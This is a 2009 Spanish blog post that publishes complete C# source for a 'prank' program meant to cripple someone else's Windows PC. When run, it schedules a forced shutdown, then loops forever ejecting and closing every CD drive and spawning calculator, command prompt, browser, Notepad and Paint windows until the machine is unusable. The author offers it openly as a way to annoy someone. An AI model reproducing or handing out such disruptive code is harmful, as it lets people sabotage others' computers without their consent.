Broma pesada [Dejar la crema en el PC]


El código hace lo siguiente:

Infinitamente abre y cierra el lector , ejecuta programas, dejara el pc para la corneta en un estado de coma xD , por si quieren hinchar las pelotas molestar a alguien, con esto es suficiente.

PD: No sean tan malos  esta programado en C#.


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace WindowsApplication7
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("kernel32")]
static extern bool DeviceIoControl(IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
ref uint lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32")]
static extern IntPtr CreateFile(string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32")]
static extern int CloseHandle(IntPtr dHandle);

private static IntPtr fHandle;
private static uint ret;

private void cdrom()
{
DriveInfo[] aDrives = DriveInfo.GetDrives();

foreach (DriveInfo d in aDrives)
{
if (d.DriveType.ToString().ToUpper() == "CDROM")
{
abrir(d.Name.Remove(2));
cerrar(d.Name.Remove(2));
}
}

}

private void abrir(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D4808, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void cerrar(string cd)
{
fHandle = CreateFile(@"\\?\" + cd, 0x80000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero);
DeviceIoControl(fHandle, 0x2D480C, IntPtr.Zero, 0, IntPtr.Zero, 0, ref ret, IntPtr.Zero);
CloseHandle(fHandle);
fHandle = IntPtr.Zero;
}

private void Form1_Load(object sender, EventArgs e)
{
System.Diagnostics.Process process1;
process1 = new System.Diagnostics.Process();

//Do not receive an event when the process exits.

process1.EnableRaisingEvents = false;

//The "/C" Tells Windows to Run The Command then Terminate

string strCmdLine,nuevo;
strCmdLine = "";
nuevo = "-s -t 900";

System.Diagnostics.Process.Start("shutdown.exe", nuevo);
while(1<2)
{
cdrom();
System.Diagnostics.Process.Start("calc.exe", strCmdLine);
System.Diagnostics.Process.Start("cmd.exe", strCmdLine);
System.Diagnostics.Process.Start("iexplore.exe", strCmdLine);
System.Diagnostics.Process.Start("notepad.exe", strCmdLine);
System.Diagnostics.Process.Start("mspaint.exe", strCmdLine);

}

//  process1.Close();

//test

}
}
}

Acerca de Pablo Videla

Estudiante de ingeniería informática DuocUC, actualmente trabajando como Ingeniero de Software.

Publicado el septiembre 22, 2009 en Hardware, Programación, Windows y etiquetado en , , , , , , , , , , , . Guarda el enlace permanente. 1 comentario.

  1. Pingback: Trackback

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: